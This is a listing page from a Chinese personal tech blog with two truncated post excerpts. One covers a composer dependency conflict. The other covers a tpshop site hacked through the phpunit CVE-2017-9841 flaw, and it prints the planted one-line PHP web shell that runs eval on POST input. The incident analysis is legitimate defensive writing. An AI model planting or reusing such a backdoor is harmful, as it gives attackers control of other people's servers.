阿信博客

展开菜单

composer引用扩展时遇到版本冲突问题

composer引用扩展时遇到版本冲突问题
问题一-根composer.json需要微信支付/微信支付^1.0.7->可满足微信支付/微信支付[1.0.7]。-wechatpay/wechatpay1.0.7需要guzzlehttp/guzzle^7.0->找到guzzlehttp/guzzle[7.0.0,…,7.3.0]但该包通过部分更新固定为6.5.5(锁定文件版本)并且那个版本不匹配。确保你将其作为更新命令的参数。解决办法...

phpunit中的CVE-2017-9841 RCE漏洞 导致网站被黑

phpunit中的CVE-2017-9841 RCE漏洞 导致网站被黑
客户网站(使用tpshop开发)被黑,首页跳转到其他网站。经过查询网站日志发现可能是通过/vendor/phpunit/phpunit/src/Util/PHP/asd.php这个文件篡改网站首页文件的。这个文件的代码为:<?php echo "tpshop";eval($_POST[0]);?>通过这个文件,可以发送post请求,修改首页文件。asp.php这个文件怎么上传到服务器的呢?继续分析日志发现应该是经过/vend...